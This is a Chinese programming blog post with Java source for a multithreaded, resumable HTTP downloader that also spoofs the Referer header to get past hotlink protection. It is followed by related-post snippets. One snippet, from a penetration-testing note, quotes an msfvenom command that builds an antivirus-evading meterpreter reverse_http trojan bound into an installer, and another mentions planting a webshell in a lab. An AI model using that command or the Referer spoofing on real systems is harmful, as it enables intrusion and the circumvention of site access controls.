HTTP多线程断点续传下载的尝试

直接看代码吧,废话一点不多说。

功能介绍:

1 多线程HTTP下载

2 支持断点续传

3 临时文件下载,成功后改名

4 提供防盗链的破解

 

package net.java2000.tools;

import java.io.BufferedInputStream;
import java.io.BufferedWriter;
import java.io.File;
import java.io.OutputStreamWriter;
import java.io.RandomAccessFile;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.HashMap;
import java.util.Map;

/**
 * HTTP的多线程下载工具。
 * 
 * @author 赵学庆 www.java2000.net
 */
public class HTTPDownloader extends Thread {
  // 要下载的页面
  private String page;

  // 保存的路径
  private String savePath;

  // 线程数
  private int threadNumber = 2;

  // 来源地址
  private String referer;

  private String cookie;

  int threadPointer = 0;

  private Map<Integer, HTTPDownloaderThread> threadPool = new HashMap<Integer, HTTPDownloaderThread>(); // 线程迟

  // 最小的块尺寸。如果文件尺寸除以线程数小于这个,则会减少线程数。
  private int MIN_BLOCK = 10 * 1024;

  public static void main(String[] args) throws Exception {
    HTTPDownloader d = new HTTPDownloader("http://www.xxxxx.com/a.rar", null, "d://a.rar", 10, null);
    d.down();
  }

  public void run() {
    try {
      down();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  /**
   * 下载操作
   * 
   * @throws Exception
   */
  public void down() throws Exception {
    URL url = new URL(page); // 创建URL
    URLConnection con = url.openConnection(); // 建立连接
    con.setRequestProperty("Referer", referer == null ? page : referer);
    con.setRequestProperty("UserAgent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; flashget)");
    int contentLen = con.getContentLength(); // 获得资源长度
    if ((contentLen / MIN_BLOCK + 1) < threadNumber) {
      threadNumber = contentLen / MIN_BLOCK + 1; // 调整下载线程数
    }
    if (threadNumber > 10) {
      threadNumber = 10;
    }
    int begin = 0;
    int step = contentLen / threadNumber + 1;
    int end = 0;
    HTTPDownloaderThread thread;
    for (threadPointer = 0; threadPointer < threadNumber; threadPointer++) {
      end += step;
      if (end > contentLen) {
        end = contentLen;
      }
      thread = new HTTPDownloaderThread(this, threadPointer, begin, end);
      threadPool.put(threadPointer, thread);
      thread.start();
      begin = end;
    }
  }

  /**
   * 一个线程完活了。
   * 
   * @param id 完活的线程id
   */
  public synchronized void finished(int id) {
    threadNumber--;
    threadPool.remove(id);
    if (threadNumber <= 0) {
      System.out.println("FINISHED:" + savePath);
      File f1 = new File(savePath + ".tmp");
      File f2 = new File(savePath);
      // 如果目标文件已经存在,则尝试删除它
      // 最多尝试3次,间隔1秒钟。
      int times = 3;
      while (f2.exists() && times > 0) {
        if (f2.delete()) {
          break;
        }
        try {
          Thread.sleep(1000);
        } catch (InterruptedException e) {
          e.printStackTrace();
        }
        times--;
      }
      if (!f2.exists()) {
        if (!f1.renameTo(f2)) {
          System.out.println("改名失败!");
        }
      } else {
        System.out.println("目标文件存在,且无法删除,无法改名");
      }
    } else {
      int size = 0;
      HTTPDownloaderThread o = null;
      // 尝试查找一个可以分担的线程
      for (HTTPDownloaderThread thread : threadPool.values()) {
        if (thread.endPos - thread.curPos > size) {
          size = thread.endPos - thread.curPos;
          o = thread;
        }
      }
      if (size > MIN_BLOCK * 2) {
        if (o.isAlive()) {
          int endPos = o.endPos;
          int beginPos = o.endPos - ((o.endPos - o.curPos) / 2);
          o.endPos = beginPos;
          threadNumber++;
          threadPointer++;
          HTTPDownloaderThread thread = new HTTPDownloaderThread(this, threadPointer, beginPos, endPos);
          threadPool.put(threadPointer, thread);
          System.out.println("A Help Thread for " + o.id + " is started with:" + threadPointer);
          thread.start();
        }
      }
    }
  }

  public HTTPDownloader() {
  }

  /**
   * 下载
   * 
   * @param page 被下载的页面
   * @param savePath 保存的路径
   */
  public HTTPDownloader(String page, String savePath) {
    this(page, savePath, 10);
  }

  /**
   * 下载
   * 
   * @param page 被下载的页面
   * @param savePath 保存的路径
   * @param threadNumber 线程数
   */
  public HTTPDownloader(String page, String savePath, int threadNumber) {
    this(page, page, savePath, 10, null);
  }

  /**
   * 下载
   * 
   * @param page 被下载的页面
   * @param savePath 保存的路径
   * @param threadNumber 线程数
   * @param referer 来源
   */
  public HTTPDownloader(String page, String referer, String savePath, int threadNumber, String cookie) {
    this.page = page;
    this.savePath = savePath;
    this.threadNumber = threadNumber;
    this.referer = referer;
  }

  public String getPage() {
    return page;
  }

  public void setPage(String page) {
    this.page = page;
  }

  public String getSavePath() {
    return savePath;
  }

  public void setSavePath(String savePath) {
    this.savePath = savePath;
  }

  public int getThreadNumber() {
    return threadNumber;
  }

  public void setThreadNumber(int threadNumber) {
    this.threadNumber = threadNumber;
  }

  public String getReferer() {
    return referer;
  }

  public void setReferer(String referer) {
    this.referer = referer;
  }

  public String getCookie() {
    return cookie;
  }

  public void setCookie(String cookie) {
    this.cookie = cookie;
  }
}

/**
 * 下载线程
 * 
 * @author 赵学庆 www.java2000.net
 */
class HTTPDownloaderThread extends Thread {
  HTTPDownloader manager;

  int startPos;

  int endPos;

  int id;

  int curPos;

  int BUFFER_SIZE = 40960;

  int readByte = 0;

  HTTPDownloaderThread(HTTPDownloader manager, int id, int startPos, int endPos) {
    this.id = id;
    this.manager = manager;
    this.startPos = startPos;
    this.endPos = endPos;
  }

  public void run() {
    System.out.println("线程" + id + "启动," + startPos + "-" + endPos);
    // 创建一个buff
    BufferedInputStream bis = null;
    RandomAccessFile fos = null;
    // 缓冲区大小
    byte[] buf = new byte[BUFFER_SIZE];
    boolean timeout = false;
    Socket socket = null;
    try {
      curPos = startPos;
      File file = new File(manager.getSavePath() + ".tmp");
      // 创建RandomAccessFile
      fos = new RandomAccessFile(file, "rw");
      // 从startPos开始
      fos.seek(startPos);
      int index = manager.getPage().indexOf("/", 8);
      String host = manager.getPage().substring(7, index);
      // System.out.println(host);
      socket = new Socket(host, 80);
      socket.setSoTimeout(30000);
      // 写入数据
      BufferedWriter wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "UTF-8"));
      StringBuilder b = new StringBuilder();
      b.append("GET " + manager.getPage().substring(index) + " HTTP/1.1\r\n");
      b.append("Host: " + host + "\r\n");
      b.append("Referer: " + (manager.getReferer() == null ? manager.getPage() : manager.getReferer()) + "\r\n");
      b.append("UserAgent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; flashget; \r\n");
      b.append("Range: bytes=" + startPos + "-" + endPos + "\r\n");
      b.append("\r\n");
      // System.out.println(b.toString());
      wr.write(b.toString());
      wr.flush();
      // 下面一段向根据文件写入数据,curPos为当前写入的未知,这里会判断是否小于endPos,
      // 如果超过endPos就代表该线程已经执行完毕
      bis = new BufferedInputStream(socket.getInputStream());
      // 读取直到换行
      int ch;
      boolean foundBR = false;
      while (true) {
        ch = bis.read();
        if (ch == 0xD) {
          ch = bis.read();
          if (ch == 0xA) {
            if (foundBR) {
              break;
            }
            foundBR = true;
          } else {
            foundBR = false;
          }
        } else {
          foundBR = false;
        }
      }
      int len = -1;
      while (curPos < endPos) {
        // System.out.println(id + "=" + (endPos - curPos));
        len = bis.read(buf, 0, BUFFER_SIZE);
        if (len == -1) {
          break;
        }
        fos.write(buf, 0, len);
        // System.out.println(id + "=Write OK!");
        curPos = curPos + len;
        if (curPos > endPos) {
          // 获取正确读取的字节数
          readByte += len - (curPos - endPos) + 1;
        } else {
          readByte += len;
        }
      }
      System.out.println("线程" + id + "已经下载完毕:" + readByte);
    } catch (Exception ex) {
      timeout = true;
    } finally {
      if (bis != null) {
        try {
          bis.close();
        } catch (Exception e) {
          System.out.println("关闭文件失败(1)!");
        }
      }
      if (fos != null) {
        try {
          fos.close();
        } catch (Exception e) {
          System.out.println("关闭文件失败(2)!");
        }
      }
      if (socket != null) {
        try {
          socket.close();
        } catch (Exception e) {
          System.out.println("关闭链接失败!");
        }
      }
    }
    if (timeout) {
      System.out.println(id + " timeout, restart...");
      new HTTPDownloaderThread(manager, id, curPos, endPos).start();
    } else {
      manager.finished(id);
    }
  }
}
 
C++多线程断点续传下载器:从原理到工程实现 多线程编程是现代软件开发中提升性能的核心技术,其原理在于通过并发执行任务来充分利用多核CPU资源。在C++中,通过std::thread、线程池等机制可以实现高效的并发控制。断点续传则是网络传输领域的关键技术,它基于HTTP协议的Range头部,允许从特定字节位置恢复下载,极大提升了大文件传输的可靠性。结合多线程与断点续传,可以构建高性能、高可靠的下载工具,这在**大文件下载**和**不稳定网络环境**等场景下价值显著。本文将以一个支持多线程并发下载与断点续传的C++文件下载器为例,深入剖析其系统架构、线程 阅读详情

相关推荐

C++多线程断点续传下载器:从原理到实现详解

多线程编程和网络I/O是提升程序性能与用户体验的核心技术。其原理在于通过并发执行任务,充分利用系统资源,减少I/O等待时间,从而显著提升吞吐量。在文件下载等网络密集型场景中,多线程技术能有效将大文件分片,并行传输以加速下载。断点续传则在此基础上,通过记录下载状态和检查点机制,确保任务中断后可恢复,增强了程序的健壮性。结合C++标准库的线程管理与原子操作,以及cURL库处理HTTP范围请求,可以构建出高效、可靠的文件下载组件。本文以【多线程并发下载】和【断点续传】为切入点,深入剖析如何设计并实现一个支持这两大

weixin_30294295的博客 389

【计算机网络】HTTP协议详解(十二):断点续传和多线程下载

断点续传和多线程下载 在实际中使用HTTP下载的时候,很多时候会遇到下载过程中突然网络不佳,下载中断,或者我们主动暂停下载,再比如使用迅雷下载一个超大文件时,会分成很多段、多线程地下载 文章目录断点续传和多线程下载一、HTTP下载实现原理请求头中Range响应头中Content-Range二、断点续传的过程三、多线程下载 一、HTTP下载实现原理 无论断点续传还是多线程下载,都是通过HTTP请求去进行下载的,请求时通过在请求头中添加Range首部字段告诉服务器下载需求,服务端返回响应时通过响应头中以字段Co

戴陵FL的博客 1033

C++多线程断点续传下载器:从原理到实战代码实现

多线程编程是提升程序并发性能的核心技术,其原理在于通过创建多个执行流并行处理任务,充分利用多核CPU的计算能力。在文件下载等I/O密集型场景中,多线程技术能显著减少网络等待时间,提升吞吐量。结合HTTP协议的Range请求头,可以实现文件的分块下载,这是断点续传功能的技术基础。将多线程与断点续传结合,能够构建出高效、可靠的下载工具,广泛应用于各类客户端软件和分布式系统中。本文以C++后端开发为背景,通过一个完整的实战案例,详细解析了如何设计一个支持多线程并发下载与断点续传的文件下载器,涵盖了线程同步、进度持

virusswb的专栏 420

JAVA 多线程下载及断点续传

断点续传和多线程下载原理是一样的; 关键代码关键位置:即设置断点 http2.setRequestProperty("RANGE","bytes="+startl+"-");//设置断点位置,向服务器请求从文件的哪个字节开始读取. osf.seek(startl);//设置本地文件从哪个字节开始写入. 如果是单线程,则首先要判断下载文件是否已经存在; 如果存在则开始断点续传,方法同多线...

煎饼里的蛋 238

Qt之HTTP下载(同步与异步、多线程与断点续传、超时与重定向)

今天使用Qt的QNetwork模块下载https开头的链接时报错:qt.network.ssl: QSslSocket::connectToHostEncrypted: TLS initialization failed,但是下载http开头的资源却没问题原因:因为HTTP是超文本传输协议,信息是明文传输,存在安全风险的问题。HTTPS则解决HTTP不安全的缺陷,在TCP和HTTP网络层之间加入了 SSL/TLS 安全协议,使得报文能够加密传输。.........

草上爬的博客 4608

Java多线程与线程安全实践-基于Http协议的断点续传

Java多线程与线程安全实践-基于Http协议的断点续传.rar

java尝试HTTP多线程断点续传下载

功能介绍:点击在新窗口中浏览此图片1 多线程HTTP下载2 支持断点续传3 临时文件下载,成功后改名4 提供防盗链的破解view plainprint? 1. package net.heck.tools; 2. 3. import java.io.BufferedInputStream; 4. import java.io.B

。。。。。。。 966

java 断点续传 多线程下载 线程池下载

由于要写一个从第三方服务器拉取文件的插件,百度了很多都 不是很满意,所以自己写了一个,废话少说,看代码,欢迎拍板 断点续传,多线程下载文件,idea开发工具需要安装 lombok 插件,具体百度下吧, 不过没有也没关系,我这里主要lombok 的set get、log 两个方法,具体自己可以重写 ,只为求分,git地址为https://github.com/ljie/java-downFile

多线程下载文件(支持暂停、取消、断点续传)----添加监听

多线程下载文件(支持暂停、取消、断点续传) 多线程同时下载文件即:在同一时间内通过多个线程对同一个请求地址发起多个请求,将需要下载的数据分割成多个部分,同时下载,每个线程只负责下载其中的一部分,最后将每一个线程下载的部分组装起来即可。 涉及的知识及问题 请求的数据如何分段 分段完成后如何下载和下载完成后如何组装到一起 暂停下载和继续下载的实现(wait()、notifyAll()、syn...

augfun的博客 2056

多核异构处理器核间通信:从共享内存到RPMsg协议的实战解析

在多核异构处理器架构中,核间通信是实现高效协同计算的核心技术。其基本原理是通过共享内存作为数据交换的物理媒介,配合硬件信号机制实现同步与通知。从技术价值看,它解决了不同架构核心间的数据共享与指令协同问题,是释放异构计算潜力的关键。在应用场景上,该技术广泛应用于智能物联网设备、汽车电子和工业控制等领域,用于连接高性能应用处理器与实时微控制器。本文以典型的ARM Cortex-A与Cortex-M组合为例,深入剖析了基于共享内存和RPMsg协议的通信机制,涵盖了从硬件基础到软件协议栈的完整实现链路,并提供了针对

weixin_26969269的博客 450

5分钟搞定三网话费余额查询:手把手教你用PHP+HTML搭建查询系统(含API调用避坑指南)

本文详细介绍了如何使用PHP+HTML快速搭建三网话费余额查询系统,涵盖API调用避坑指南、前端UI设计及性能优化。通过统一处理移动、电信、联通三大运营商接口差异,实现高可用查询功能,并提供安全防护与生产部署建议,帮助开发者高效构建稳定可靠的话费查询工具。

weixin_29016833的博客 260

HTTP协议进行多线程以及断点下载(没有实用意义的程序)

HTTP下载器实现实现功能具备知识点实现思路多线程下载原理.*td文件代码可扩展功能总结 写完个人感觉,没有啥实用意义是因为想从服务器上下载的东西基本都是支持HTTPS协议下载的,并非HTTP了。 实现功能 多线程下载 断点下载 进度条显示 具备知识点 HTTP请求以及响应头 多线程下载 实现思路 根据下载地址(仅仅限于HTTP下载)来解析下载地址中的FQDN以及指定的端口号,通过函数g...

qq_36573828的博客 1157

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7652

C++实现多线程断点续传下载器:从HTTP协议到并发编程实战

在分布式系统和网络编程中,文件传输是基础且高频的需求。其核心原理基于HTTP协议的Range请求头,允许客户端指定下载文件的特定字节范围,这是实现分块下载的技术基石。通过多线程并发技术,可以并行下载不同文件块,显著提升大文件传输效率,这一技术价值在于充分利用网络带宽和现代多核CPU性能。在实际应用场景中,下载器需要处理网络异常、任务暂停与恢复,这就要求系统具备状态持久化能力,通常通过检查点文件记录下载进度。C++作为高性能系统编程语言,结合libcurl网络库和标准线程库,能够构建出高效稳健的下载工具。本文

weixin_33841503的博客 455

Argoverse2数据集保姆级导入教程:从下载到预处理全流程解析

本文详细解析了Argoverse2数据集的完整导入流程,从环境配置、数据下载到预处理和高效加载策略。作为自动驾驶领域的标杆数据集,Argoverse2提供多模态传感器数据和高精地图信息,帮助研究者快速搭建数据处理流水线。文章包含实用代码示例和性能优化技巧,特别适合自动驾驶算法开发者参考。

weixin_29035405的博客 339

Fleury算法寻找欧拉回路(mtlab代码详解)

【代码】Fleury算法寻找欧拉回路(mtlab代码详解)

m0_63449998的博客 1299

Hutool文件下载:如何轻松实现断点续传与大文件高效下载?

作为Java开发者,你是否曾经为文件下载功能而烦恼?网络不稳定导致下载中断需要重新开始、大文件下载消耗过多内存、下载进度难以监控……这些痛点在实际开发中屡见不鲜。今天,我将为大家介绍Hutool这个强大的Java工具库,特别是它在文件下载方面的卓越能力,让你轻松应对各种下载场景。 Hutool是一个功能丰富的Java工具库,其中hutool-http模块提供了完整的HTTP客户端功能。你知道吗?

gitblog_00237的博客 680

niushop靶场漏洞查找-文件上传漏洞等(超详细)

发现报错,而且这个报错十分熟悉,与我们所学的sqli报错注入特别像。这里查询到后面的url有且仅有一个,目测估计是后台。上传的图片是包含一句话木马的图片。发现获取到了webshell。实战漏洞-niushop。

qq_59020256的博客 1729

使用lftp断点续传下载大型PyTorch数据集

面对动辄上百GB的深度学习数据集,传统下载工具常因断网重来。lftp支持断点续传、多线程并行下载和自动重试,结合容器化环境可实现稳定高效的数据获取,配合Docker镜像还能打通从下载到训练的完整流程,提升AI项目迭代效率。

weixin_30633869的博客 1064

【Claude Code】Unable to connect to API 报错原因与排查解决全流程

深入分析 Claude Code 中 Unable to connect to API 系列报错的根因,涵盖 ECONNREFUSED、ECONNRESET、ETIMEDOUT 等 6 种变体,提供从网络连通性检测、代理配置到 LLM 网关路由的完整排查路径,帮助开发者快速恢复 Claude Code 的正常使用。

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 2855

课设:FPGA音频均衡器 verilog设计及仿真 加报告

未来,随着FPGA技术的进一步发展和应用场景的扩大,FPGA音频均衡器将发挥出更大的作用,并为音频领域带来更多创新和突破。(a)音乐制作:均衡器可以调整音频信号中不同频段的能量分布,使得乐器声音更加明亮、动感,从而提升音乐制作的质量和创作的灵活性。以上步骤提供了设计一个音频均衡器的大致过程,但值得注意的是,具体实现的细节和复杂度可能因设计要求和所使用的平台而有所不同。确保设计满足预期的性能和要求。确定均衡器的功能和要求:定义你的音频均衡器需要实现的功能,包括频率范围、增益范围以及可调参数数量等。

QQ_778132974的博客 1588

多线程下载文件(支持暂停、取消、断点续传)

多线程下载文件(支持暂停、取消、断点续传)多线程同时下载文件即:在同一时间内通过多个线程对同一个请求地址发起多个请求,将需要下载的数据分割成多个部分,同时下载,每个线程只负责下载其中的一部分,最后将每一个线程下载的部分组装起来即可。涉及的知识及问题 请求的数据如何分段 分段完成后如何下载和下载完成后如何组装到一起 暂停下载和继续下载的实现(wait()、notifyAll()、synchronize

xyTianZhao 1万+

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

说说Android上的断点续传下载

原文出自:http://blog.csdn.net/Oneway102/article/details/6060961 先说说断点续传的原理:这是HTTP 1.1协议的一部分,并不需要客户端特意去做多么复杂的事情。以前我曾经看过一个单位的技术标书,其中有下载的断

acetech_sean的专栏 1612

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: CIO谈IT招聘:应聘者技能不占先
下一篇: 对字符串中字符出现的次数进行排序
java2000_test
博客等级 码龄19年 10粉丝 320原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值